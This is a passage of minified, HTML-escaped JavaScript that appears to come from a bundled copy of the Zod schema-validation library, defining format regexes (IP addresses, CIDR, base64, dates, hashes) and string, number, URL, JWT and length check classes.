YZ=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,ZZ=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/,JZ=e=&gt;{const t=th(e??&quot;:&quot;);return new RegExp(`^(?:[0-9A-F]{2}${t}){5}[0-9A-F]{2}$|^(?:[0-9a-f]{2}${t}){5}[0-9a-f]{2}$`)},XZ=/^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/([0-9]|[1-2][0-9]|3[0-2])$/,eJ=/^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,tJ=/^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/,J8=/^[A-Za-z0-9_-]*$/,rJ=/^(?=.{1,253}\.?$)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[-0-9a-zA-Z]{0,61}[0-9a-zA-Z])?)*\.?$/,nJ=/^([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$/,iJ=/^\+(?:[0-9]){6,14}[0-9]$/,aJ=&quot;(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))&quot;,sJ=new RegExp(`^${aJ}$`);function oJ(e){const t=&quot;(?:[01]\\d|2[0-3]):[0-5]\\d&quot;;return typeof e.precision==&quot;number&quot;?e.precision===-1?`${t}`:e.precision===0?`${t}:[0-5]\\d`:`${t}:[0-5]\\d\\.\\d{${e.precision}}`:`${t}(?::[0-5]\\d(?:\\.\\d+)?)?`}function lJ(e){return new RegExp(`^${oJ(e)}$`)}function cJ(e){const t=oJ({precision:e.precision}),r=[&quot;Z&quot;];e.local&amp;&amp;r.push(&quot;&quot;),e.offset&amp;&amp;r.push(&quot;([+-](?:[01]\\d|2[0-3]):[0-5]\\d)&quot;);const n=`${t}(?:${r.join(&quot;|&quot;)})`;return new RegExp(`^${aJ}T(?:${n})$`)}const uJ=e=&gt;{const t=e?`[\\s\\S]{${e?.minimum??0},${e?.maximum??&quot;&quot;}}`:&quot;[\\s\\S]*&quot;;return new RegExp(`^${t}$`)},dJ=/^-?\d+n?$/,fJ=/^-?\d+$/,hJ=/^-?\d+(?:\.\d+)?/,mJ=/^(?:true|false)$/i,pJ=/^null$/i,gJ=/^undefined$/i,AJ=/^[^A-Z]*$/,xJ=/^[^a-z]*$/,vJ=/^[0-9a-fA-F]*$/;function Ky(e,t){return new RegExp(`^[A-Za-z0-9+/]{${e}}${t}$`)}function Yy(e){return new RegExp(`^[A-Za-z0-9_-]{${e}}$`)}const PLe=/^[0-9a-fA-F]{32}$/,QLe=Ky(22,&quot;==&quot;),FLe=Yy(22),OLe=/^[0-9a-fA-F]{40}$/,LLe=Ky(27,&quot;=&quot;),MLe=Yy(27),ULe=/^[0-9a-fA-F]{64}$/,zLe=Ky(43,&quot;=&quot;),$Le=Yy(43),HLe=/^[0-9a-fA-F]{96}$/,qLe=Ky(64,&quot;&quot;),GLe=Yy(64),VLe=/^[0-9a-fA-F]{128}$/,WLe=Ky(86,&quot;==&quot;),KLe=Yy(86),X8=Object.freeze(Object.defineProperty({__proto__:null,base64:tJ,base64url:J8,bigint:dJ,boolean:mJ,browserEmail:TLe,cidrv4:XZ,cidrv6:eJ,cuid:LZ,cuid2:MZ,date:sJ,datetime:cJ,domain:nJ,duration:qZ,e164:iJ,email:VZ,emoji:KZ,extendedDuration:jLe,guid:GZ,hex:vJ,hostname:rJ,html5Email:kLe,idnEmail:DLe,integer:fJ,ipv4:YZ,ipv6:ZZ,ksuid:$Z,lowercase:AJ,mac:JZ,md5_base64:QLe,md5_base64url:FLe,md5_hex:PLe,nanoid:HZ,null:pJ,number:hJ,rfc5322Email:_Le,sha1_base64:LLe,sha1_base64url:MLe,sha1_hex:OLe,sha256_base64:zLe,sha256_base64url:$Le,sha256_hex:ULe,sha384_base64:qLe,sha384_base64url:GLe,sha384_hex:HLe,sha512_base64:WLe,sha512_base64url:KLe,sha512_hex:VLe,string:uJ,time:lJ,ulid:UZ,undefined:gJ,unicodeEmail:WZ,uppercase:xJ,uuid:_1,uuid4:NLe,uuid6:SLe,uuid7:BLe,xid:zZ},Symbol.toStringTag,{value:&quot;Module&quot;})),Ja=at(&quot;$ZodCheck&quot;,(e,t)=&gt;{var r;e._zod??(e._zod={}),e._zod.def=t,(r=e._zod).onattach??(r.onattach=[])}),yJ={number:&quot;number&quot;,bigint:&quot;bigint&quot;,object:&quot;date&quot;},ek=at(&quot;$ZodCheckLessThan&quot;,(e,t)=&gt;{Ja.init(e,t);const r=yJ[typeof t.value];e._zod.onattach.push(n=&gt;{const i=n._zod.bag,s=(t.inclusive?i.maximum:i.exclusiveMaximum)??Number.POSITIVE_INFINITY;t.value&lt;s&amp;&amp;(t.inclusive?i.maximum=t.value:i.exclusiveMaximum=t.value)}),e._zod.check=n=&gt;{(t.inclusive?n.value&lt;=t.value:n.value&lt;t.value)||n.issues.push({origin:r,code:&quot;too_big&quot;,maximum:t.value,input:n.value,inclusive:t.inclusive,inst:e,continue:!t.abort})}}),tk=at(&quot;$ZodCheckGreaterThan&quot;,(e,t)=&gt;{Ja.init(e,t);const r=yJ[typeof t.value];e._zod.onattach.push(n=&gt;{const i=n._zod.bag,s=(t.inclusive?i.minimum:i.exclusiveMinimum)??Number.NEGATIVE_INFINITY;t.value&gt;s&amp;&amp;(t.inclusive?i.minimum=t.value:i.exclusiveMinimum=t.value)}),e._zod.check=n=&gt;{(t.inclusive?n.value&gt;=t.value:n.value&gt;t.value)||n.issues.push({origin:r,code:&quot;too_small&quot;,minimum:t.value,input:n.value,inclusive:t.inclusive,inst:e,continue:!t.abort})}}),bJ=at(&quot;$ZodCheckMultipleOf&quot;,(e,t)=&gt;{Ja.init(e,t),e._zod.onattach.push(r=&gt;{var n;(n=r._zod.bag).multipleOf??(n.multipleOf=t.value)}),e._zod.check=r=&gt;{if(typeof r.value!=typeof t.value)throw new Error(&quot;Cannot mix number and bigint in multiple_of check.&quot;);(typeof r.value==&quot;bigint&quot;?r.value%t.value===BigInt(0):gZ(r.value,t.value)===0)||r.issues.push({origin:typeof r.value,code:&quot;not_multiple_of&quot;,divisor:t.value,input:r.value,inst:e,continue:!t.abort})}}),wJ=at(&quot;$ZodCheckNumberFormat&quot;,(e,t)=&gt;{Ja.init(e,t),t.format=t.format||&quot;float64&quot;;const r=t.format?.includes(&quot;int&quot;),n=r?&quot;int&quot;:&quot;number&quot;,[i,s]=bZ[t.format];e._zod.onattach.push(o=&gt;{const l=o._zod.bag;l.format=t.format,l.minimum=i,l.maximum=s,r&amp;&amp;(l.pattern=fJ)}),e._zod.check=o=&gt;{const l=o.value;if(r){if(!Number.isInteger(l)){o.issues.push({expected:n,format:t.format,code:&quot;invalid_type&quot;,continue:!1,input:l,inst:e});return}if(!Number.isSafeInteger(l)){l&gt;0?o.issues.push({input:l,code:&quot;too_big&quot;,maximum:Number.MAX_SAFE_INTEGER,note:&quot;Integers must be within the safe integer range.&quot;,inst:e,origin:n,continue:!t.abort}):o.issues.push({input:l,code:&quot;too_small&quot;,minimum:Number.MIN_SAFE_INTEGER,note:&quot;Integers must be within the safe integer range.&quot;,inst:e,origin:n,continue:!t.abort});return}}l&lt;i&amp;&amp;o.issues.push({origin:&quot;number&quot;,input:l,code:&quot;too_small&quot;,minimum:i,inclusive:!0,inst:e,continue:!t.abort}),l&gt;s&amp;&amp;o.issues.push({origin:&quot;number&quot;,input:l,code:&quot;too_big&quot;,maximum:s,inst:e})}}),EJ=at(&quot;$ZodCheckBigIntFormat&quot;,(e,t)=&gt;{Ja.init(e,t);const[r,n]=wZ[t.format];e._zod.onattach.push(i=&gt;{const s=i._zod.bag;s.format=t.format,s.minimum=r,s.maximum=n}),e._zod.check=i=&gt;{const s=i.value;s&lt;r&amp;&amp;i.issues.push({origin:&quot;bigint&quot;,input:s,code:&quot;too_small&quot;,minimum:r,inclusive:!0,inst:e,continue:!t.abort}),s&gt;n&amp;&amp;i.issues.push({origin:&quot;bigint&quot;,input:s,code:&quot;too_big&quot;,maximum:n,inst:e})}}),CJ=at(&quot;$ZodCheckMaxSize&quot;,(e,t)=&gt;{var r;Ja.init(e,t),(r=e._zod.def).when??(r.when=n=&gt;{const i=n.value;return!Vg(i)&amp;&amp;i.size!==void 0}),e._zod.onattach.push(n=&gt;{const i=n._zod.bag.maximum??Number.POSITIVE_INFINITY;t.maximum&lt;i&amp;&amp;(n._zod.bag.maximum=t.maximum)}),e._zod.check=n=&gt;{const i=n.value;i.size&lt;=t.maximum||n.issues.push({origin:GE(i),code:&quot;too_big&quot;,maximum:t.maximum,inclusive:!0,input:i,inst:e,continue:!t.abort})}}),IJ=at(&quot;$ZodCheckMinSize&quot;,(e,t)=&gt;{var r;Ja.init(e,t),(r=e._zod.def).when??(r.when=n=&gt;{const i=n.value;return!Vg(i)&amp;&amp;i.size!==void 0}),e._zod.onattach.push(n=&gt;{const i=n._zod.bag.minimum??Number.NEGATIVE_INFINITY;t.minimum&gt;i&amp;&amp;(n._zod.bag.minimum=t.minimum)}),e._zod.check=n=&gt;{const i=n.value;i.size&gt;=t.minimum||n.issues.push({origin:GE(i),code:&quot;too_small&quot;,minimum:t.minimum,inclusive:!0,input:i,inst:e,continue:!t.abort})}}),jJ=at(&quot;$ZodCheckSizeEquals&quot;,(e,t)=&gt;{var r;Ja.init(e,t),(r=e._zod.def).when??(r.when=n=&gt;{const i=n.value;return!Vg(i)&amp;&amp;i.size!==void 0}),e._zod.onattach.push(n=&gt;{const i=n._zod.bag;i.minimum=t.size,i.maximum=t.size,i.size=t.size}),e._zod.check=n=&gt;{const i=n.value,s=i.size;if(s===t.size)return;const o=s&gt;t.size;n.issues.push({origin:GE(i),...o?{code:&quot;too_big&quot;,maximum:t.size}:{code:&quot;too_small&quot;,minimum:t.size},inclusive:!0,exact:!0,input:n.value,inst:e,continue:!t.abort})}}),NJ=at(&quot;$ZodCheckMaxLength&quot;,(e,t)=&gt;{var r;Ja.init(e,t),(r=e._zod.def).when??(r.when=n=&gt;{const i=n.value;return!Vg(i)&amp;&amp;i.length!==void 0}),e._zod.onattach.push(n=&gt;{const i=n._zod.bag.maximum??Number.POSITIVE_INFINITY;t.maximum&lt;i&amp;&amp;(n._zod.bag.maximum=t.maximum)}),e._zod.check=n=&gt;{const i=n.value;if(i.length&lt;=t.maximum)return;const o=VE(i);n.issues.push({origin:o,code:&quot;too_big&quot;,maximum:t.maximum,inclusive:!0,input:i,inst:e,continue:!t.abort})}}),SJ=at(&quot;$ZodCheckMinLength&quot;,(e,t)=&gt;{var r;Ja.init(e,t),(r=e._zod.def).when??(r.when=n=&gt;{const i=n.value;return!Vg(i)&amp;&amp;i.length!==void 0}),e._zod.onattach.push(n=&gt;{const i=n._zod.bag.minimum??Number.NEGATIVE_INFINITY;t.minimum&gt;i&amp;&amp;(n._zod.bag.minimum=t.minimum)}),e._zod.check=n=&gt;{const i=n.value;if(i.length&gt;=t.minimum)return;const o=VE(i);n.issues.push({origin:o,code:&quot;too_small&quot;,minimum:t.minimum,inclusive:!0,input:i,inst:e,continue:!t.abort})}}),BJ=at(&quot;$ZodCheckLengthEquals&quot;,(e,t)=&gt;{var r;Ja.init(e,t),(r=e._zod.def).when??(r.when=n=&gt;{const i=n.value;return!Vg(i)&amp;&amp;i.length!==void 0}),e._zod.onattach.push(n=&gt;{const i=n._zod.bag;i.minimum=t.length,i.maximum=t.length,i.length=t.length}),e._zod.check=n=&gt;{const i=n.value,s=i.length;if(s===t.length)return;const o=VE(i),l=s&gt;t.length;n.issues.push({origin:o,...l?{code:&quot;too_big&quot;,maximum:t.length}:{code:&quot;too_small&quot;,minimum:t.length},inclusive:!0,exact:!0,input:n.value,inst:e,continue:!t.abort})}}),Zy=at(&quot;$ZodCheckStringFormat&quot;,(e,t)=&gt;{var r,n;Ja.init(e,t),e._zod.onattach.push(i=&gt;{const s=i._zod.bag;s.format=t.format,t.pattern&amp;&amp;(s.patterns??(s.patterns=new Set),s.patterns.add(t.pattern))}),t.pattern?(r=e._zod).check??(r.check=i=&gt;{t.pattern.lastIndex=0,!t.pattern.test(i.value)&amp;&amp;i.issues.push({origin:&quot;string&quot;,code:&quot;invalid_format&quot;,format:t.format,input:i.value,...t.pattern?{pattern:t.pattern.toString()}:{},inst:e,continue:!t.abort})}):(n=e._zod).check??(n.check=()=&gt;{})}),kJ=at(&quot;$ZodCheckRegex&quot;,(e,t)=&gt;{Zy.init(e,t),e._zod.check=r=&gt;{t.pattern.lastIndex=0,!t.pattern.test(r.value)&amp;&amp;r.issues.push({origin:&quot;string&quot;,code:&quot;invalid_format&quot;,format:&quot;regex&quot;,input:r.value,pattern:t.pattern.toString(),inst:e,continue:!t.abort})}}),_J=at(&quot;$ZodCheckLowerCase&quot;,(e,t)=&gt;{t.pattern??(t.pattern=AJ),Zy.init(e,t)}),DJ=at(&quot;$ZodCheckUpperCase&quot;,(e,t)=&gt;{t.pattern??(t.pattern=xJ),Zy.init(e,t)}),TJ=at(&quot;$ZodCheckIncludes&quot;,(e,t)=&gt;{Ja.init(e,t);const r=th(t.includes),n=new RegExp(typeof t.position==&quot;number&quot;?`^.{${t.position}}${r}`:r);t.pattern=n,e._zod.onattach.push(i=&gt;{const s=i._zod.bag;s.patterns??(s.patterns=new Set),s.patterns.add(n)}),e._zod.check=i=&gt;{i.value.includes(t.includes,t.position)||i.issues.push({origin:&quot;string&quot;,code:&quot;invalid_format&quot;,format:&quot;includes&quot;,includes:t.includes,input:i.value,inst:e,continue:!t.abort})}}),RJ=at(&quot;$ZodCheckStartsWith&quot;,(e,t)=&gt;{Ja.init(e,t);const r=new RegExp(`^${th(t.prefix)}.*`);t.pattern??(t.pattern=r),e._zod.onattach.push(n=&gt;{const i=n._zod.bag;i.patterns??(i.patterns=new Set),i.patterns.add(r)}),e._zod.check=n=&gt;{n.value.startsWith(t.prefix)||n.issues.push({origin:&quot;string&quot;,code:&quot;invalid_format&quot;,format:&quot;starts_with&quot;,prefix:t.prefix,input:n.value,inst:e,continue:!t.abort})}}),PJ=at(&quot;$ZodCheckEndsWith&quot;,(e,t)=&gt;{Ja.init(e,t);const r=new RegExp(`.*${th(t.suffix)}$`);t.pattern??(t.pattern=r),e._zod.onattach.push(n=&gt;{const i=n._zod.bag;i.patterns??(i.patterns=new Set),i.patterns.add(r)}),e._zod.check=n=&gt;{n.value.endsWith(t.suffix)||n.issues.push({origin:&quot;string&quot;,code:&quot;invalid_format&quot;,format:&quot;ends_with&quot;,suffix:t.suffix,input:n.value,inst:e,continue:!t.abort})}});function FF(e,t,r){e.issues.length&amp;&amp;t.issues.push(...P0(r,e.issues))}const QJ=at(&quot;$ZodCheckProperty&quot;,(e,t)=&gt;{Ja.init(e,t),e._zod.check=r=&gt;{const n=t.schema._zod.run({value:r.value[t.property],issues:[]},{});if(n instanceof Promise)return n.then(i=&gt;FF(i,r,t.property));FF(n,r,t.property)}}),FJ=at(&quot;$ZodCheckMimeType&quot;,(e,t)=&gt;{Ja.init(e,t);const r=new Set(t.mime);e._zod.onattach.push(n=&gt;{n._zod.bag.mime=t.mime}),e._zod.check=n=&gt;{r.has(n.value.type)||n.issues.push({code:&quot;invalid_value&quot;,values:t.mime,input:n.value.type,inst:e,continue:!t.abort})}}),OJ=at(&quot;$ZodCheckOverwrite&quot;,(e,t)=&gt;{Ja.init(e,t),e._zod.check=r=&gt;{r.value=t.tx(r.value)}});class LJ{constructor(t=[]){this.content=[],this.indent=0,this&amp;&amp;(this.args=t)}indented(t){this.indent+=1,t(this),this.indent-=1}write(t){if(typeof t==&quot;function&quot;){t(this,{execution:&quot;sync&quot;}),t(this,{execution:&quot;async&quot;});return}const n=t.split(`
`).filter(o=&gt;o),i=Math.min(...n.map(o=&gt;o.length-o.trimStart().length)),s=n.map(o=&gt;o.slice(i)).map(o=&gt;&quot; &quot;.repeat(this.indent*2)+o);for(const o of s)this.content.push(o)}compile(){const t=Function,r=this?.args,i=[...(this?.content??[&quot;&quot;]).map(s=&gt;`  ${s}`)];return new t(...r,i.join(`
`))}}const MJ={major:4,minor:2,patch:1},Dn=at(&quot;$ZodType&quot;,(e,t)=&gt;{var r;e??(e={}),e._zod.def=t,e._zod.bag=e._zod.bag||{},e._zod.version=MJ;const n=[...e._zod.def.checks??[]];e._zod.traits.has(&quot;$ZodCheck&quot;)&amp;&amp;n.unshift(e);for(const i of n)for(const s of i._zod.onattach)s(e);if(n.length===0)(r=e._zod).deferred??(r.deferred=[]),e._zod.deferred?.push(()=&gt;{e._zod.run=e._zod.parse});else{const i=(o,l,c)=&gt;{let d=ig(o),u;for(const h of l){if(h._zod.def.when){if(!h._zod.def.when(o))continue}else if(d)continue;const p=o.issues.length,A=h._zod.check(o);if(A instanceof Promise&amp;&amp;c?.async===!1)throw new dg;if(u||A instanceof Promise)u=(u??Promise.resolve()).then(async()=&gt;{await A,o.issues.length!==p&amp;&amp;(d||(d=ig(o,p)))});else{if(o.issues.length===p)continue;d||(d=ig(o,p))}}return u?u.then(()=&gt;o):o},s=(o,l,c)=&gt;{if(ig(o))return o.aborted=!0,o;const d=i(l,n,c);if(d instanceof Promise){if(c.async===!1)throw new dg;return d.then(u=&gt;e._zod.parse(u,c))}return e._zod.parse(d,c)};e._zod.run=(o,l)=&gt;{if(l.skipChecks)return e._zod.parse(o,l);if(l.direction===&quot;backward&quot;){const d=e._zod.parse({value:o.value,issues:[]},{...l,skipChecks:!0});return d instanceof Promise?d.then(u=&gt;s(u,o,l)):s(d,o,l)}const c=e._zod.parse(o,l);if(c instanceof Promise){if(l.async===!1)throw new dg;return c.then(d=&gt;i(d,n,l))}return i(c,n,l)}}e[&quot;~standard&quot;]={validate:i=&gt;{try{const s=FZ(e,i);return s.success?{value:s.data}:{issues:s.error?.issues}}catch{return OZ(e,i).then(o=&gt;o.success?{value:o.data}:{issues:o.error?.issues})}},vendor:&quot;zod&quot;,version:1}}),Jy=at(&quot;$ZodString&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.pattern=[...e?._zod.bag?.patterns??[]].pop()??uJ(e._zod.bag),e._zod.parse=(r,n)=&gt;{if(t.coerce)try{r.value=String(r.value)}catch{}return typeof r.value==&quot;string&quot;||r.issues.push({expected:&quot;string&quot;,code:&quot;invalid_type&quot;,input:r.value,inst:e}),r}}),ga=at(&quot;$ZodStringFormat&quot;,(e,t)=&gt;{Zy.init(e,t),Jy.init(e,t)}),UJ=at(&quot;$ZodGUID&quot;,(e,t)=&gt;{t.pattern??(t.pattern=GZ),ga.init(e,t)}),zJ=at(&quot;$ZodUUID&quot;,(e,t)=&gt;{if(t.version){const n={v1:1,v2:2,v3:3,v4:4,v5:5,v6:6,v7:7,v8:8}[t.version];if(n===void 0)throw new Error(`Invalid UUID version: &quot;${t.version}&quot;`);t.pattern??(t.pattern=_1(n))}else t.pattern??(t.pattern=_1());ga.init(e,t)}),$J=at(&quot;$ZodEmail&quot;,(e,t)=&gt;{t.pattern??(t.pattern=VZ),ga.init(e,t)}),HJ=at(&quot;$ZodURL&quot;,(e,t)=&gt;{ga.init(e,t),e._zod.check=r=&gt;{try{const n=r.value.trim(),i=new URL(n);t.hostname&amp;&amp;(t.hostname.lastIndex=0,t.hostname.test(i.hostname)||r.issues.push({code:&quot;invalid_format&quot;,format:&quot;url&quot;,note:&quot;Invalid hostname&quot;,pattern:t.hostname.source,input:r.value,inst:e,continue:!t.abort})),t.protocol&amp;&amp;(t.protocol.lastIndex=0,t.protocol.test(i.protocol.endsWith(&quot;:&quot;)?i.protocol.slice(0,-1):i.protocol)||r.issues.push({code:&quot;invalid_format&quot;,format:&quot;url&quot;,note:&quot;Invalid protocol&quot;,pattern:t.protocol.source,input:r.value,inst:e,continue:!t.abort})),t.normalize?r.value=i.href:r.value=n;return}catch{r.issues.push({code:&quot;invalid_format&quot;,format:&quot;url&quot;,input:r.value,inst:e,continue:!t.abort})}}}),qJ=at(&quot;$ZodEmoji&quot;,(e,t)=&gt;{t.pattern??(t.pattern=KZ()),ga.init(e,t)}),GJ=at(&quot;$ZodNanoID&quot;,(e,t)=&gt;{t.pattern??(t.pattern=HZ),ga.init(e,t)}),VJ=at(&quot;$ZodCUID&quot;,(e,t)=&gt;{t.pattern??(t.pattern=LZ),ga.init(e,t)}),WJ=at(&quot;$ZodCUID2&quot;,(e,t)=&gt;{t.pattern??(t.pattern=MZ),ga.init(e,t)}),KJ=at(&quot;$ZodULID&quot;,(e,t)=&gt;{t.pattern??(t.pattern=UZ),ga.init(e,t)}),YJ=at(&quot;$ZodXID&quot;,(e,t)=&gt;{t.pattern??(t.pattern=zZ),ga.init(e,t)}),ZJ=at(&quot;$ZodKSUID&quot;,(e,t)=&gt;{t.pattern??(t.pattern=$Z),ga.init(e,t)}),JJ=at(&quot;$ZodISODateTime&quot;,(e,t)=&gt;{t.pattern??(t.pattern=cJ(t)),ga.init(e,t)}),XJ=at(&quot;$ZodISODate&quot;,(e,t)=&gt;{t.pattern??(t.pattern=sJ),ga.init(e,t)}),eX=at(&quot;$ZodISOTime&quot;,(e,t)=&gt;{t.pattern??(t.pattern=lJ(t)),ga.init(e,t)}),tX=at(&quot;$ZodISODuration&quot;,(e,t)=&gt;{t.pattern??(t.pattern=qZ),ga.init(e,t)}),rX=at(&quot;$ZodIPv4&quot;,(e,t)=&gt;{t.pattern??(t.pattern=YZ),ga.init(e,t),e._zod.bag.format=&quot;ipv4&quot;}),nX=at(&quot;$ZodIPv6&quot;,(e,t)=&gt;{t.pattern??(t.pattern=ZZ),ga.init(e,t),e._zod.bag.format=&quot;ipv6&quot;,e._zod.check=r=&gt;{try{new URL(`http://[${r.value}]`)}catch{r.issues.push({code:&quot;invalid_format&quot;,format:&quot;ipv6&quot;,input:r.value,inst:e,continue:!t.abort})}}}),iX=at(&quot;$ZodMAC&quot;,(e,t)=&gt;{t.pattern??(t.pattern=JZ(t.delimiter)),ga.init(e,t),e._zod.bag.format=&quot;mac&quot;}),aX=at(&quot;$ZodCIDRv4&quot;,(e,t)=&gt;{t.pattern??(t.pattern=XZ),ga.init(e,t)}),sX=at(&quot;$ZodCIDRv6&quot;,(e,t)=&gt;{t.pattern??(t.pattern=eJ),ga.init(e,t),e._zod.check=r=&gt;{const n=r.value.split(&quot;/&quot;);try{if(n.length!==2)throw new Error;const[i,s]=n;if(!s)throw new Error;const o=Number(s);if(`${o}`!==s)throw new Error;if(o&lt;0||o&gt;128)throw new Error;new URL(`http://[${i}]`)}catch{r.issues.push({code:&quot;invalid_format&quot;,format:&quot;cidrv6&quot;,input:r.value,inst:e,continue:!t.abort})}}});function rk(e){if(e===&quot;&quot;)return!0;if(e.length%4!==0)return!1;try{return atob(e),!0}catch{return!1}}const oX=at(&quot;$ZodBase64&quot;,(e,t)=&gt;{t.pattern??(t.pattern=tJ),ga.init(e,t),e._zod.bag.contentEncoding=&quot;base64&quot;,e._zod.check=r=&gt;{rk(r.value)||r.issues.push({code:&quot;invalid_format&quot;,format:&quot;base64&quot;,input:r.value,inst:e,continue:!t.abort})}});function lX(e){if(!J8.test(e))return!1;const t=e.replace(/[-_]/g,n=&gt;n===&quot;-&quot;?&quot;+&quot;:&quot;/&quot;),r=t.padEnd(Math.ceil(t.length/4)*4,&quot;=&quot;);return rk(r)}const cX=at(&quot;$ZodBase64URL&quot;,(e,t)=&gt;{t.pattern??(t.pattern=J8),ga.init(e,t),e._zod.bag.contentEncoding=&quot;base64url&quot;,e._zod.check=r=&gt;{lX(r.value)||r.issues.push({code:&quot;invalid_format&quot;,format:&quot;base64url&quot;,input:r.value,inst:e,continue:!t.abort})}}),uX=at(&quot;$ZodE164&quot;,(e,t)=&gt;{t.pattern??(t.pattern=iJ),ga.init(e,t)});function dX(e,t=null){try{const r=e.split(&quot;.&quot;);if(r.length!==3)return!1;const[n]=r;if(!n)return!1;const i=JSON.parse(atob(n));return!(&quot;typ&quot;in i&amp;&amp;i?.typ!==&quot;JWT&quot;||!i.alg||t&amp;&amp;(!(&quot;alg&quot;in i)||i.alg!==t))}catch{return!1}}const fX=at(&quot;$ZodJWT&quot;,(e,t)=&gt;{ga.init(e,t),e._zod.check=r=&gt;{dX(r.value,t.alg)||r.issues.push({code:&quot;invalid_format&quot;,format:&quot;jwt&quot;,input:r.value,inst:e,continue:!t.abort})}}),hX=at(&quot;$ZodCustomStringFormat&quot;,(e,t)=&gt;{ga.init(e,t),e._zod.check=r=&gt;{t.fn(r.value)||r.issues.push({code:&quot;invalid_format&quot;,format:t.format,input:r.value,inst:e,continue:!t.abort})}}),nk=at(&quot;$ZodNumber&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.pattern=e._zod.bag.pattern??hJ,e._zod.parse=(r,n)=&gt;{if(t.coerce)try{r.value=Number(r.value)}catch{}const i=r.value;if(typeof i==&quot;number&quot;&amp;&amp;!Number.isNaN(i)&amp;&amp;Number.isFinite(i))return r;const s=typeof i==&quot;number&quot;?Number.isNaN(i)?&quot;NaN&quot;:Number.isFinite(i)?void 0:&quot;Infinity&quot;:void 0;return r.issues.push({expected:&quot;number&quot;,code:&quot;invalid_type&quot;,input:i,inst:e,...s?{received:s}:{}}),r}}),mX=at(&quot;$ZodNumberFormat&quot;,(e,t)=&gt;{wJ.init(e,t),nk.init(e,t)}),ik=at(&quot;$ZodBoolean&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.pattern=mJ,e._zod.parse=(r,n)=&gt;{if(t.coerce)try{r.value=!!r.value}catch{}const i=r.value;return typeof i==&quot;boolean&quot;||r.issues.push({expected:&quot;boolean&quot;,code:&quot;invalid_type&quot;,input:i,inst:e}),r}}),ak=at(&quot;$ZodBigInt&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.pattern=dJ,e._zod.parse=(r,n)=&gt;{if(t.coerce)try{r.value=BigInt(r.value)}catch{}return typeof r.value==&quot;bigint&quot;||r.issues.push({expected:&quot;bigint&quot;,code:&quot;invalid_type&quot;,input:r.value,inst:e}),r}}),pX=at(&quot;$ZodBigIntFormat&quot;,(e,t)=&gt;{EJ.init(e,t),ak.init(e,t)}),gX=at(&quot;$ZodSymbol&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;{const i=r.value;return typeof i==&quot;symbol&quot;||r.issues.push({expected:&quot;symbol&quot;,code:&quot;invalid_type&quot;,input:i,inst:e}),r}}),AX=at(&quot;$ZodUndefined&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.pattern=gJ,e._zod.values=new Set([void 0]),e._zod.optin=&quot;optional&quot;,e._zod.optout=&quot;optional&quot;,e._zod.parse=(r,n)=&gt;{const i=r.value;return typeof i&gt;&quot;u&quot;||r.issues.push({expected:&quot;undefined&quot;,code:&quot;invalid_type&quot;,input:i,inst:e}),r}}),xX=at(&quot;$ZodNull&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.pattern=pJ,e._zod.values=new Set([null]),e._zod.parse=(r,n)=&gt;{const i=r.value;return i===null||r.issues.push({expected:&quot;null&quot;,code:&quot;invalid_type&quot;,input:i,inst:e}),r}}),vX=at(&quot;$ZodAny&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=r=&gt;r}),yX=at(&quot;$ZodUnknown&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=r=&gt;r}),bX=at(&quot;$ZodNever&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;(r.issues.push({expected:&quot;never&quot;,code:&quot;invalid_type&quot;,input:r.value,inst:e}),r)}),wX=at(&quot;$ZodVoid&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;{const i=r.value;return typeof i&gt;&quot;u&quot;||r.issues.push({expected:&quot;void&quot;,code:&quot;invalid_type&quot;,input:i,inst:e}),r}}),EX=at(&quot;$ZodDate&quot;,(e,t)=&gt;{Dn.init(e,t),e._zod.parse=(r,n)=&gt;{if(t.coerce)try{r.value=new Date(r.value)}catch{}const i=r.value,s=i instanceof Date;return s&amp;&amp;!Number.isNaN(i.getTime())||r.issues.push({expected:&quot;date&quot;,code:&quot;invalid_type&quot;,input:i,...s?{received:&quot;Invalid Date&quot;}:{},inst:e}),r}});function 